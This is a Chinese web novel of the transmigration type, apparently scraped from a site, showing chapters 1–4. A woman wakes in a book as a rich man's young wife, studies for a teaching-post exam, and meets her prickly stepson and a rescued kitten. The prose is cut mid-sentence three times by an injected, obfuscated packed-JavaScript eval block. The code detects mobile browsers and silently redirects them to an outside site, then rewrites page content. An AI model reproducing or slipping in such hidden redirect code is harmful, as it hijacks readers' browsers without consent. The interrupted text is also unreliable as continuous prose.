《穿豪门继母但教导主任》 1. 第 1 章 第1章 上午十点,气温逐渐攀升,浸着蜜色的光线穿透龟背竹,在木质地板洒落点点碎金。 金苒盘腿坐在阳台的藤椅上,面前摊着几本厚重的教材。 她目光专注,时而凝眉沉思,时而恍然大悟,手中的笔尖始终未停,飞快在草稿纸上演算。 随着写字的动作,耳后几缕乌发垂到鬓角轻轻晃动,发梢在阳光下泛着淡淡的金色。 也不知是不是新的身体,金苒总感觉自己的记忆力比以前好了很多,许多题目看过一遍就能记住。 按照这样的速度,不出半月,她便可以去考上辈子没考成功的教师编! 想到这,金苒忍不住笑出声——三天了,每次想起自己的经历,她还是觉得像做梦。 作为把《年轻人焦虑因子》集齐了的倒霉蛋,金苒师范毕业后依次经历了教培寒冬、考编报录比678:1、金融危机大范围裁员。 最后实在找不到工作,决定给自己放一个长假,结果出门city直接被车撞飞到马路牙子上。 本以为会一命呜呼,没想到再睁眼却穿到一本书里,成了和她同名同姓的豪门太太。 巧的是,这本书金苒在大学时期曾无聊翻看过。 女主是个家境贫困的小演员,性格单纯善良,在复杂的娱乐圈里犹如一朵洁白的莲花,引得众多优秀男人倾心争夺。 而她穿的角色,既不是令人怜爱的女主,也不是心机深沉的女配,仅仅只是女主与人闲聊时提过一两句的豪门弃妇。 “她啊,以前是个大小姐,现在早就不行了,不知使了什么手段嫁给江总,结果婚后夫妻两人常年分房睡,家里还有一个十五岁的继子对她视而不见,大概过得压抑,性格古怪的很。” 彼时,女主和男主正因为一些事情闹矛盾,听完弃妇的故事立刻主动和好,两人一番真心剖白,贡献了书中让读者嗷嗷叫的月下激吻。 对此金苒表示——那可真是太好啦! 名校毕业,豪门有人,孩子已大,不要二胎,还有比这更好的简历吗? 尤其当她得知,这个世界最流行的是进娱乐圈拍综艺,考公考编反而属于冷门职业…… 什么弃妇,什么继子,她想说考公考编才是永远的神! 于是穿过来三天时间,除开第一天打探情况浪费半天,剩下的两天半,金苒都待在别墅里,一边喝燕窝补脑,一边狂刷考编习题。 今天也是一样。 不过这边金苒刚坐下没多久,一楼大厅就开始传来咚咚铛铛的声音,细听好像还有人在说话。 没一会儿,管家匆匆上楼来,宽和的面庞有些焦急。 金苒一开始并没有放在心上。 她穿过来的时候原身已经结婚两周,所以住的是男方家,江家家大业大,单单佣人就有十五个,程管家是其中的总负责人。 而别墅的另外两个主人,据说一个正在外地出差,一个在学校搞什么比赛,她至今还没有见过。 说实话,这让金苒松了口气。 她毕竟不是原身,没有原身的记忆,相处久了难免被人发现端倪。固然,豪门太太的生活让人向往,但金苒看得很清楚,依靠他人不是长久的办法,只有实实在在掌握在自己手中的资源才是真正的财富。 所以思来想去,金苒还是打算趁机考个教师编。 这样一来,即便未来她依旧变成“豪门弃妇”,也可以有一个养活自己的工作,等她哪天在这个世界站稳脚跟,甚至说不定会主动提离婚。 至于眼下,咳咳,还是得仰仗豪门身份为自己的“简历”添砖加瓦。 “太太。” 楼梯口,管家没想到自己会碰见金苒,迟疑了刹那,还是站定打招呼。 他微微欠身,脸上挂着公式化的微笑,眼神却不自觉地在新太太身上打量了一番。 第一印象就是年轻、漂亮。 这无可厚非,因为他听说太太今年才二十五岁,刚出社会的年轻人,一双眼睛又大又圆,比之星辰还要闪耀。卧蚕盈盈,鼻尖微翘,嘴巴天生红润润的,连带唇珠也莹润饱满。 天气有些热,金苒身上穿了一件黑色棉麻质地的茶歇裙,寥寥几笔勾勒出秾纤合度的体形,乌羽似的发随意在脑后挽了个丸子头,几缕扎不住的刘海偷溜出来,在眉下打出一片阴影。 哪怕已经过去半个月,对于别墅多了一个女主人的事情,管家还是有些恍惚。 倒不是有什么意见,而是他在别墅工作多年,从未见过先生和哪个女性走得近。 乍然结婚,还娶了一个比自己小十岁的妻子,总归有些让人抓摸不透。 思绪一闪而过,想到接下来要做的事情,管家又开始发愁。 金苒仿佛没有看见:“怎么了?” 管家嘴唇嗫嚅,最后也没有说出口,反而略显心虚地避开视线:“没事没事,只是拿点东西。” 金苒眨眨眼,直言道:“哦,我倒是有事要找你。” 在管家诧异的目光中,她礼貌询问,“能不能帮我找一辆车,等会儿我要出门。” 教师编网上报名成功后得去现场确认,她刚才查了查地图,地点距离别墅两千米,不算远,但步行需要三十分钟。 管家想了想:“车库里还有一辆保时捷,不如让小孙开那辆?” 闻言,金苒心下一喜,原来豪门的专车专送居然是真的!这样她就可以省下一笔钱耶:“那就麻烦了!” 丝毫没有犹豫。 管家一噎,忙说是自己份内之事,之后见金苒没有旁的事情,打了声招呼就退下了。 等金苒开心地收拾完阳台上的试卷,再抬头,发现管家已经去了三楼。 三楼……她想了想,除了娱乐室和家庭影院,好像自己那个继子的卧室也在那儿? / “怎么还没来,不会被拦住了吧?” 别墅区外的长樱道上,几个男生站在树下,鬼鬼祟祟往院子里探脑袋。 “上次黎哥骑摩托,他那个后妈就假好心阻止,实际全是阴阳怪气,江叔叔居然也不管管!”留着锅盖头的男生满是不忿。 “行了,少说点。”其他人捣了捣锅盖头,后者意识到自己一时秃噜嘴,心里难免咯噔,随即小心翼翼看向身旁的少年:“那个黎哥,你别生气哈,江叔叔肯定是看重你这个儿子的。” 被叫做黎哥的少年嘴角轻嗤:“等会儿拿到车,你们先去学校。” “好勒。” 虽如此,但因为说错话,后面几人开始安安静静当鹌鹑。 江许黎察觉到了,眼底嘲讽更深。 他其实并不在意那个女人,毕竟他爸也不是个好玩意,他觉得要不是法律不允许弃养,他爸早就把他给丢垃圾桶了,虽然现在和丢了没什么区别。 所以在察觉到他爸娶的新妻子隐藏在热情之下的“敌意”后,江许黎直接借口比赛暂住在了学生宿舍。 这次回来是为了拿车钥匙。 本来他是无所谓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281784|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰见那个女人,哪怕那女人再说点什么,他也可以选择无视。 但他怕她用瞧不起的眼神看自己的朋友。 好在担心的事情没有发生。 拿到钥匙的管家急急赶来,江明黎接过钥匙,忽略管家欲言又止的眼神,去车库里开自己的爱车。 另一边的金苒可不知道自己差点就和继子见面。 她挎着爱马仕包包,坐到了百万豪车的加长的后座。 不愧是百万级别的豪车,开起来几乎感觉不到颠簸,车内空间宽敞,座椅舒适,炎热的夏天,微微冷风拂面而来,顷刻间吹散满身暑气。 驶出地下车库时,一辆IconSheene摩托车正好也从车库里出来。 两车“擦肩而过”。 头戴头盔的少年人前身压低靠近车背上,手中油门拧紧,卷着尘土和风飞驰远去。 肆意又张扬。 金苒收回视线。 半个小时后,在小孙“如履平地”的驾驶技术下,车子稳稳到达文承中学。 A市教育发达,仅高中就有两百八十个,其中文承中学质量最佳,占地面积也最大,分别建有南北西三个校区。 因为是确认最后一天,现场没有多少人,金苒很快提交完材料,不过她没有离开,而是笑眯眯的和闲下来的志愿者聊天。 刚巧那人也是教数学的,得知金苒名校毕业且考过教师资格证,很是热情:“笔试到正式录取至少半年时间,你要是想提前积累经验,可以先应聘代课老师。” 金苒思考了会儿,觉得这个办法很不错。 她的书面资料已经掌握很熟了,后续并不打算将时间全部放在刷题上——当老师不只是纸上谈兵,还需要切身实际的体验。 “不瞒你说,我们学校最近要招一批代课老师。” 志愿者看了眼周围,压低声音,“待遇虽比不上正式老师但也不差,而且我们学校的学生都是高分考进来的,聪明听话,教起来很轻松的。” 金苒本来就属意文承中学,听到橄榄枝立刻顺势恭维:“早就听说你们学校人杰地灵,学风好。” 二人相视一笑,一切尽在不言中。 互相交换联系方式后,金苒脚步轻松地离开学校。 她在路边给自己买了一杯奶茶,甜滋滋的口感让愉悦的心情更加起舞,仿佛吹了泡泡,轻飘飘往天上飞。 她觉得自己的新人生也像这泡泡,简直全面开花,节节高升,未来全是曙光看不到一丝瑕疵。 这样想着,金苒又喝了一口奶茶,往小孙停车的地方走去。 然后就被横飞过来的树枝挡住了前路。 如今的年代,路遇坠物虽不道德但也算常见,金苒打算绕路,可紧接着,她就看到高墙后面,又有两个学生鬼鬼祟祟翻出来。 两人身上穿着校服,动作却像跳高运动员一样干脆利落,单手微微一撑,轻松跃到地面,其中一个还大声嚷嚷着简单。 金苒:“……” 说好的聪明听话好教育呢? 莫名的,心中升起不好的预感。 而这种预感,在又一个女同学追出来后,终于达到了顶峰:“江许黎,你们要是敢逃课,我就去告诉老师!” 金苒嘴角的笑容僵硬。 江,江什么? 陌生又熟悉的名字开始在脑海中打转,她深吸一口气,突然有种掉头离开的冲动。 所以,她挑选了一圈,最后居然选到了便宜儿子的学校?! 2. 第 2 章 第2章 金苒忍不住打量两个逃课的高中生。 然后,就有些被惊艳到。 十四五岁的少年,正是最朝气蓬勃的年纪,瘦削颀长的身材好似劲儿寸寸的青翠竹子,淋一场春雨就能卯足劲抽条,金苒咬着吸管,暗自用尺度的眼睛测量,唔,少说也得一米八以上。 其中,戴着鸭舌帽的男生尤其挺拔。他身上穿着最普通的高中校服,却偏敞着拉链,露出里面的t恤,硬是把规矩的蓝白校服穿出三分野气。 落地后,少年随意拍掉灰尘,而后双手插兜,姿态又酷又拽,满头梧桐飞絮飘落,他微微侧头,露出校服底下一截清瘦的脖颈。 金苒目光顿了顿,若有所思。 不知道这两人中哪个是她的继子…… 另一边的江许黎和陈训良倒是没有注意路边的金苒。 别看他们人还在原地,其实这会儿心思早就飞走了。 事情说起来也比较简单,起因只是几只流浪猫。 文承中学面积辽阔,建造完教学楼后剩下许多空地,学校的老师便在空地上开垦菜地,种些瓜果蔬菜,以至于时不时会有野猫进来偷吃。 江许黎他们去操场打球的时候,会看到那些不怕人的猫,几个大男孩都不是爱猫的人,但架不住那些猫上赶着黏人啊,时间久了,也就相处出来一点儿感情。 然而最近不知怎么回事,五六只流浪猫齐齐消失,少年们直觉不太对劲,查了学校监控才发现那些猫是被人给抓走的! 这可气坏了一群年轻气盛的高中生,于是大家开始暗地里调查,今天好不容易得到抓猫人的消息时,怕再次错过,两人便趁着体育老师不注意,偷偷从操场溜出来。 地方有点儿远,不过江许黎的摩托车在附近,骑车很快就能赶过去。 看到拦路的女同学,陈训良颇为无语:“王舒雅,你是不是属狗鼻子的,我们去哪你跟到哪!” “呸!你才是狗鼻子!” “我又没说错,不是狗鼻子怎么能找过来。”他和黎哥为了躲开人,可是特意绕着操场走了好几圈。 除非……这人一直跟着他们! 陈训良眼珠子转了转,忽然捋了捋自己锅盖头的一亩三分发,大言不惭道,“虽然哥很帅,但哥不会为你停留!” 王舒雅气得要死:“谁稀罕你停留!” 她反驳的又快又急,眼睛下意识往江许黎那儿看,生怕对方产生误会,不过少年没什么反应,依旧酷酷地站在那儿,黑色鸭舌帽遮住半张俊朗眉眼。 王舒雅心里莫名有些失落,对陈训良更没有好脸色:“我是纪律委员,要为班级负责任,而且现在是上课时间,你们逃课是错的!” “谁说我们逃课了!翻墙?哎呀,那明明是测试一下弹跳力,不巧,弹跳力太强了,直接碰到了墙头。” 显然,会逃课的学生不是什么乖乖学生,陈训良振振有词,一脸正气地强词夺理。 被迫听完墙角的金苒:“……” 看来她这个继子还是个刺头啊。 不过这和她没有太大关系。 别墅的佣人私下会八卦雇主家的事情,金苒遇到过几次,听得多了,也就知道了一些内情。 比如,结婚之前,大家一直没有见过原身。 再比如,原身对丈夫江明羧情根深种,嫁人后一直积极讨好对方,等到江明羧出差,原身又转而关心照顾他的孩子,妄图通过扮演好后妈的角色来向男人示好。 可惜作为继子的江许黎并不领情。 对此,金苒觉得奇怪的同时,又表示理解。 青春期的少年独立又叛逆,最烦被人管束,尤其原身打着“为你好”的旗子,可谓是火上加油。 江许黎没有吵架,而是主动避开后妈,教养很是不错了。 这样一想,金苒又感觉没什么问题。 可以确定的是,接下来半年时间她都需要为考编做准备,恐怕没办法分心在其他事情上面,“互不干涉”才是最理想的状态,加上她本人也没有上赶着给人当妈的爱好……金苒很快调整好心态,神情自若地往旁边挪了一步,准备离开。 谁知她刚动了动,那边争论不过的王舒雅突然转过身,问:“姐姐,您觉得逃课是不是错的?” 霎那间,所有人的视线都移过来。 金苒:“……” 这下想走也走不了了。 人群后方,陈训良瞪大眼睛,倒吸一口凉气。 完了完了,黎哥后妈怎么在这里,不会是发现他们偷开车的事情吧?思及此,他整个人陷入了慌乱,连忙扯一扯身旁人的衣摆,小声道:“黎哥,你家里人来抓你了!” 江许黎表情略显不耐。 他爸现在还在地球的另外半边,哪里有时间来抓他? 可等他抬起头看到前面的女人时,淡定的面庞还是出现片刻僵硬,随即烦躁地皱起眉头。 王舒雅对于同学的异样浑然未觉。 为了胜利,她积极拉拢“路人”同盟:“姐姐,你大胆说,他们不敢怎么样的!” 金苒……着实有些无奈。 她还没有上班,怎么就要面临模拟考验了呢? 尤其其中一个是讨厌被后妈干涉的“继子”,稍不合适,对方怕是更加抵触和反感呢。 金苒只能斟酌回答:“咳,逃课是不好。” 闻言,王舒雅得意微笑,陈训良则脸色骤变。 作为江许黎的铁哥们,他知道黎哥的后妈不像表面看起来似的温柔和亲,总是暗地里针对黎哥,偏偏每次都装模作样,以至于大家都觉得是黎哥的错。 瞥了一眼从刚才起便不发一言的江许黎,陈训良自觉明白兄弟的心思,一时间热血上涌主动站出来:“我,我们不是逃课,我受伤了,需要去医院!” 一同站出来的,还有那根壮士断腕的胳膊,以及手背上面忽略不计的一条小划痕。 见状,金苒嘴角抽抽。 再晚一点,伤口怕是都要愈合了。 不过这么自来熟的人,难道是她的便宜儿子? 眼底划过一抹深思。 秉持着不主动但也不得罪的原则,金苒朝着面前的少年露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281785|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个善解人意的笑容:“原来是为了去医院,那就不算逃课。” 她打开包,从里面掏出一个草莓熊的创可贴递过去,做出体贴的长辈模样:“伤口可大可小,要是感染就麻烦了,这个东西先给你。” 见陈训良不动,还温柔催促:“愣着干什么,拿着啊。” 陈训良傻愣愣地接过去。 金苒还要再说些什么,这时候,司机小孙找了过来,目睹这副场景还有些诧异:“少爷。” 他朝着另外一个少年问候。 正准备再说点儿关心话的金苒:? 动作一顿,抬起的手自然而然转了个方向,落到瘦高的少年身上,假装没有发现对方试图避开的动作。 一拍既离,她微笑着点点头:“以后有什么误会就和同学好好解释,对了,我还有事,你们先回去上课吧。” 陈训良一听,立刻道:“阿姨你忙,不用管我们。” 随即拉着江许黎跑了。 也不知这孩子是太紧张还是傻,不走大门,反而又沿着原路爬墙回去。 金苒收回视线,即便尴尬到头皮发麻,她表面依旧镇定,对小孙说:“我们也走吧。” / 一墙之隔,江许黎看傻子似的:“你犯病能不能别拉着我。” 被嫌弃的陈训良一屁股坐到草地上,因为精神紧绷,这会儿还有些气喘吁吁:“靠,不识好人心,我都是为了谁啊。” 江许黎皱了皱眉,最后道:“我心里有数,总之你下次避开她。” 陈训良哼了哼,没有再多说。 到底是兄弟的家事,朋友插手太多算怎么回事,不过:“怪不得连江叔叔那么聪明的人都被骗了,你后妈演技真不错,刚才她看我的时候,我还以为是我后妈呢。” 江许黎:“……” 陈训良抬起自己的右手,黝黑的手背上正贴着的一个玫红色的创可贴,可爱到让人牙酸。 “那伤口米粒大小,她非要给我包住,还说什么会发炎,我都没好意思说根本没感觉。”陈训良洋洋得意,晃了晃右手,忽然好奇道,“不过黎哥,她怎么没和你说话啊?” 江许黎:“……” 少年脸色有些黑。 金苒这次的行为的确有点出乎意料,他还以为她会趁机“教育”自己,亦或者找他爸打小报告。 谁知道女人都没有看他几眼。 莫名的,江许黎心里有些不得劲。 但他很快就恢复平静。 金苒将视线放在其他地方,不再针对自己,对他来说是一件好事。 他懒得搭理那些鸡毛蒜皮的事,如果两人能井水不犯河水,各自保持距离是最好了。 陈训良不知道兄弟的想法,他越看越觉得手上的创可贴好看,不愧是他,可甜可盐的百变帅哥:“对了黎哥,我记得你刚才也被树枝划了下吧,你后妈居然没给你创可贴?” 江许黎扭头就走。 “哎?黎哥等等我,我们不出去了吗?” “去请假!” 飘荡的风,吹来少年的咬牙切齿。 3. 第 3 章 第3章 不谈班主任第一次见到江许黎请假时的震惊,等两人拿到请教条,光明正大离开学校,金苒已经坐着豪车回到别墅。 她有很多事情要忙,教师编考试、应聘代课老师,甚至中午时间是吃清蒸野生东星斑还是黑松露炒虾仁,都占据了大量的心思。 至于和继子的短暂相遇那种无关紧要的小事,早就被她抛到了脑后。 当然还有一个重要的原因,金苒今天见到了江许黎,中二时期的少年,对于突然介入自己生活的后妈充满警惕与抗拒,但即便如此,也未做出极端的对抗行为,和网上那种斗得你死我活的后妈文学截然不同。 所以她完全可以放心过自己的生活啦~ 这样感慨着,金苒前脚刚踏上二楼的楼梯,然后就被神出鬼没的管家叫住。 “太太,您之前定做的衣服今天中午送达。” 金苒没有买东西,猜测大概是原身买的:“送到二楼卧室就好。” “还有件事情,半小时前先生打电话回来,说这次出差日期可能需要延长几天。” 身为江家的管家,程管家除了负责着别墅的日常运转,还需要打理雇主的生活琐事,小到出行安排、行李准备,大到宴会策划、宾客接待。 忙是忙了点儿,工资也是可观的,回忆起今天挂断电话前,先生曾状似无意询问太太的行迹,得知太太最近一直待在家中看书时,更是沉默了好一会儿。 想想两人新婚便分隔两地,管家自觉明白了其中意味,所以才有了这会儿一两句暗示。 可惜金苒并没有听懂管家的用心良苦。 同为小说边缘角色,相比较自己这个豪门弃妇,江明羧的剧情稍微多一点。 传言他年轻的时候家境贫寒,连学都上不起,混迹在游戏厅给人打工,因为得罪了游戏厅的老大差点被打死。侥幸活下来后,将计就计将那些得罪他的人反送了进去,后面被人资助,大学期间凭借着自己的本事创建的明技科技,仅用十年就成为灵城最大的科技公司。 如今他年仅三十五岁,已经是A市豪门圈子里让人忌惮的存在,小说后面男主的公司曾与明技科技有过合作,谈起明技科技的创始人,便是男主也充满尊敬。 这样一个心狠手辣,忍辱负重,亦正亦邪的形象,日常生活就是工作工作工作,显然不是她能搞得定的:“好,我知道了。” 一抬头,管家却没有离开,反而一脸的欲言又止。 金苒:“?” 她疑惑眨眨眼,又眨眨眼,在管家复杂的目光中,突然一拍脑门,悟了! 她怎么把这么重要的事情给忘记了呢!据别墅圈的小道消息称,原身似乎对丈夫情根深种,得知丈夫出差不归,心情或许难过、生气、失望,总之不会像自己似的平平淡淡。 想明白这一点,她脸上适时露出几丝哀愁:“哎,他…在外奔波也是为了这个家,我虽然很思念,但绝对不能让儿女情长拖他的后腿,对了,让他一定要照顾好自己的身体,不用惦记家里。” 管家果然欣慰,提议:“其实太太可以亲自向先生转达关心。” 金苒:“额,不用了吧,万一耽搁工作……” “不耽搁不耽搁,”管家看了一眼手表,确定道,“分公司那边正是清晨,先生肯定有时间。” 金苒还能说什么?她只能一边微笑,一边表示会晚点儿联系对方。 或许是一天中同一个名字出现的次数太多,等到晚上,金苒刷完习题躺在床上休息的时候,莫名想起管家说的话。 她犹豫了会儿,还是被好奇心打败,试探着打开原身的聊天软件。 原身聊天列表中的朋友不算多,加上家人同学满打满算只有五十三个,其中置顶的是一个空白备注的人,对方头像是一片蔚蓝色的深海。 金苒心念一动,点进去果然是江明羧。 至于为什么如此确定,自然是因为江明羧出差离开后,原身几乎每天都会给这个账号发消息,从关心吃穿住行到撒娇卖萌,可谓是二十四孝好妻子。 对面大概太忙,回复的次数很少。 而这样的情况在三天前戛然而止,最后的消息,是原身表示男人回家后自己要给他一个惊喜。 想到这,金苒有些汗颜。 三天前的她刚刚穿书,正为了适应这个世界小心而试探着,哪里会注意到原身在和谁聊天。 “所以结局怎么会变成弃妇呢……”金苒暗戳戳吐槽,打算点进江明羧的朋友圈视.奸一番,结果不知道按到了哪里,聊天页面突然跳出几个大字: “你拍了拍J” 金苒:“?” 她吓得差点把手里的手机扔出去,慌里慌张之下于半空接住,又满脸惊惧地赶在最后两分钟前将消息撤回。 “你撤回了一条消息” 金苒:“……” 后面她发现怎么也没办法将“新提示”删除的时候,内心已经接近狂躁边缘,恰好志愿者老师过来找她,金苒干脆摆烂退出去。 算了,像江明羧这样的成功人士,定然是忙到脚不沾地,说不定根本没有时间查看消息。 / 明技科技海外分公司。 特助拿着调查的消息敲开办公室的门。 “查清楚了,这次是金家那边有些人等不急,狗急跳墙。” 天际迎着朝阳,高大的男人坐在办公桌后,灰色西装松松垮垮挂在肩头,他右侧的手臂缠着绷带,此刻正隐隐渗透出血色。 江明羧似无所感,“啪嗒”,点燃手中的烟。 “看来这次金家老头子给的东西是真的。” 特助点了点头,如果没有利益可言,那些人怎么敢冒这么大的险。 可惜的是,他们这次惹到了不该惹的人。 江明羧眯起眼睛,口中呼出的烟雾模糊了神情,半晌,突然嗤笑一声:“尽快安排洽谈,既然东西交我手里就没有拿回去的道理。” “好的,江总。” 说完,特助拿着东西准备退下。 结果走到门口又被叫住:“别墅那边怎么样?” 特助顿了顿,有些猜不透江总想要了解哪方面,只能挑了几件事回答:“……少爷为了方便学习,上周搬出去住,太太最近倒是待在家里,只在今天上午去了一趟少爷的学校。” “没有和金家人联系?” “额,没有。” 闻言,江明羧皱了皱眉,特助注意到后,心里有些无奈。 要他说,江总就是太警惕了。 太太对江总的情谊其他人不了解,他这个全程操办婚礼的特助可是了如指掌,原本金家要把金家大小姐嫁给江总,后面身为二小姐的太太积极争取,两个有情人才终成眷属。 在他看来,太太是太太,金家是金家,不能相提并论。 果不其然,在特助说完没多久,江明羧的私人手机就亮起来。 因为站的近,特助一不小心就看到了聊天内容:太太给江总发了一条拍一拍。 哎呀,不愧是年轻人,谈恋爱的方式就是新奇呢~ 体贴地将空间留给夫妻俩,等到偌大办公室安静下来,江明羧看着再次恢复的日常问候,深邃的眉眼间浮现沉思,他拿起手机。 【对方撤回了消息】 下一秒,江明羧抬起的手僵硬在半空,脸上表情变得讳莫如深。 / 金苒习惯了别墅里只有自己一个人,所以当她半夜被走路的动静惊醒时,还以为是家里遭了小偷。 二楼走廊通着阳台,月光贯通整片区域,金苒住的房间恰好在楼梯旁边,她睡意瞬间消散,几秒的功夫,脑海中已经浮现了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281786|166858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百种可怕画面。 直到她气势汹汹抄着花瓶冲出来,和上楼的江许黎迎面撞上。 两人大眼对大眼,逐渐的,尴尬在空气中蔓延。 金苒率先反应过来。 到底是成年人,经历的脚趾抠地比少年吃过的大米都要多,她反手把花瓶放到一旁,哪怕身上穿着睡衣,头发乱糟糟如同鸡窝,也挡不住一身正气:“咳,回来了。” 江许黎顿了顿,颔首。 显然,他也没想到这个点还能遇见金苒。 目光不由自主地往下移动,最终定格在女人的双脚上。她赤着脚,白皙的肌肤直接与地面接触,此时正值盛夏,室外暑气蒸腾,可这大理石地板却透着丝丝寒意,不过片刻,莹白如玉的双脚已泛起了淡淡的红意,透着几分可怜。 江许黎并不蠢,相反还很聪明,联想金苒的穿着打扮和前后表现,很快就搞明白是怎么回事。 不由得皱起眉头。 他这人是非分明,金苒做过很多让人讨厌的事情,所以他才会躲到学校,一般情况下坚决不回家,但凭心而来,今天的事情的确是他的错。 江许黎心情复杂,可让他道歉,又实在说不出口。 另一边的金苒本人倒是没什么感觉。 之前害怕有小偷,精神一直处于紧绷,以至于她根本没有心思注意其他问题。 这会儿一看,江许黎身上穿的还是之前的校服,只不过变得皱皱巴巴,仿佛从咸菜缸里捞出来的,两个袖口沾着灰渍,膝盖处的裤子已经抽丝,头发也有些凌乱,几缕往后翘着,露出额头一道明显的擦伤,金苒猜测应该是新鲜出炉的,因为还透着红丝。 毋庸置疑,她这个继子并非什么乖乖听话的三好学生,这一点从白天见面时就已经知道了,所以再发现,谈不上多少惊讶。 她自己在青春期的时候,难道就没有因为被荷尔蒙影响,看不惯某些人和事吗?不过男孩子比女生更容易冲动,她当时只是背地里偷偷吐槽,江许黎直接用了拳头。 金苒还猜测,他大概是赢了。 即便输掉也没有关系,她并不觉得像江许黎这样的富二代,身边会没有保镖跟着,尤其像江明羧这样从底层爬上来的成功商人,仇人不计其数,只会更加警惕。 现在回忆,好像在学校的时候,她就看到有几个奇怪的人在街对面徘徊。 想明白这一点,金苒松了口气。 虽然两人关系一般,但她占着一个后妈的身份,在人家亲爹不在的情况下,免不得要担起监护权。 如今得知背后有人兜底,她心情轻松许多,准备全身而退的时候,突然有什么东西动了动。 江许黎也察觉到了,迅速侧身挡住,依旧是晚了,一声细微的“喵呜”很快传进了两个人的耳朵里。 “喵~” “喵呜~” 动静不大不小,在静谧的夜晚却显得尤为突出,江许黎僵在原地,一时不知该作何反应,金苒却是瞪大眼睛,随即恍然大悟——原来江许黎半夜回来,是因为随身带着一只小猫! 文承中学再好,也不会允许学生带宠物上学,如果没有其他人帮忙,只能将猫带回家。 她甚至联想的更多一点,难道上午的逃课是因为.撸.猫? 顿时,金苒的目光就变得意味深长。 冷酷傲娇,缺少父母疼爱的富二代,没想到背地里是个猫奴。 对面的视线太过炽热,江许黎想忽视都忽视不了,只觉得浑身爬了蚂蚁似的难受,当下,他头都没抬就转身上楼,尽管强装镇定,但那越来越快的脚步还是出卖了他。 见状,金苒笑了笑,打着哈欠返回卧室。 不过临睡前,还是给管家发了一条信息。 唔,她才不是担心便宜儿子,充其量担心中二期的少年照顾不好小猫咪罢了。 4. 第 4 章 第4章 金苒是个心大的,用认识她的人的话来说,天塌下来能当被子睡。 所以哪怕经历了穿书这样稀奇古怪的事情,她也只是短暂的震惊,之后便迅速明确目标,并朝着接下来的目标而努力奋进。 表现在另外一方面,就是睡眠质量好,从不失眠,躺到床上三秒的时间,人已经呼呼大睡。 与之相比,少年时期的江许黎就没有这么好的心性了。 自打有记忆起,他爸便是个独权的霸君,绝不允许视线里出现弱小的生物,所以江许黎没有养过什么宠物。 此刻,两个月大的猫咪在校服里扭来扭去,让他感觉有些无所适从,犹豫了半天才拧着眉头拍了拍,结果效果欠佳,还把小猫拍的喵呜喵呜叫。 楼下传来关门的声音,江许黎动作猛地停顿,过了会儿,没有听到新的动静,他才弯腰把猫放在临时的纸箱子里。 然后给罪魁祸首打了个电话。 那边的陈训良秒接起来:“黎哥,你到家了?” 白天两人根据线索找到了抓猫人,发现对方竟然是个猫肉贩子,报警救出来二十多只猫,大部分都是有野外生存能力的成猫,只有一只两个月大的三花,饿得皮包骨头,走起路来踉踉跄跄,好似活不久。 因为实在可怜,陈训良动了养猫的念头,奈何他妈猫毛过敏,只能拜托好兄弟帮忙。 江许黎“嗯”了声,把镜头转给对方看。 凌晨十二点,江许黎又下了一次楼,好在这次他没有遇到金苒,手忙脚乱将买来的羊奶粉冲泡成羊奶,看着吃饱喝足的小猫钻进纸箱子,紧绷了一晚上的肩膀才松懈下来。 第二天他起了一大早,本来想去找管家帮忙,没想到对方居然主动过来了。 “少爷放心,等会儿我让人去买点儿宠物用品,这么大的猫可以吃点儿猫粮。” 程管家动作熟练地接过去,手指挠挠猫下巴,并没有过多询问。 于是江许黎准备的解释咽回去,面无表情地点了点头。 没办法,作为一名高中生,他还需要去上学,只在临走前,状似无意地看了一眼二楼,楼梯口空荡荡的,半个人影都没有。 金苒这一觉睡得沉,醒来时已经过了十点,拉开窗帘,外面阳光大亮。 她难得懒散,又在床上躺了会儿,刷刷新闻打打小游戏,绸白睡衣拉扯起尖尖,露出一截莹白的细腰。 直到志愿者王老师给她发消息:【金小姐,你的内推通过了!】 金苒倏地从床上弹起来。 她没想到王老师办事这么快。学校有学校的规矩,对于内推的人员会更加严格审核,原身是A师范数学专业的,在校期间拿到教师资格证,成绩优秀,唯一不利的点在毕业后有三年的空窗期。 眼下能够拿到内推,金苒猜测大概是自己的“豪门背景”加了分,内心惊喜不已,连忙问:【什么时候面试?】 王老师:【后天上午,校长直面,对了,还有一节课的试讲,时长四十五分钟。】 怕金苒紧张,王老师又体贴地补充了一句:【你放心,很简单的,只有两个主任和一个数学组的组长旁听】 金苒:“……” 听着更紧张了。 这份紧张并非不信任自己的能力,而是一种对未知的敬畏和忐忑,两辈子都是师范生,在校期间还被室友拉着参加过志愿教学,但当着大佬的面试讲还是人生头一次。 不过很快她就调节好心情,凡事都有第一次,她不去做怎么知道是好是坏?而且距离面试还有两天的时间,她提前做好准备,说不定到时候能惊艳全场呢。 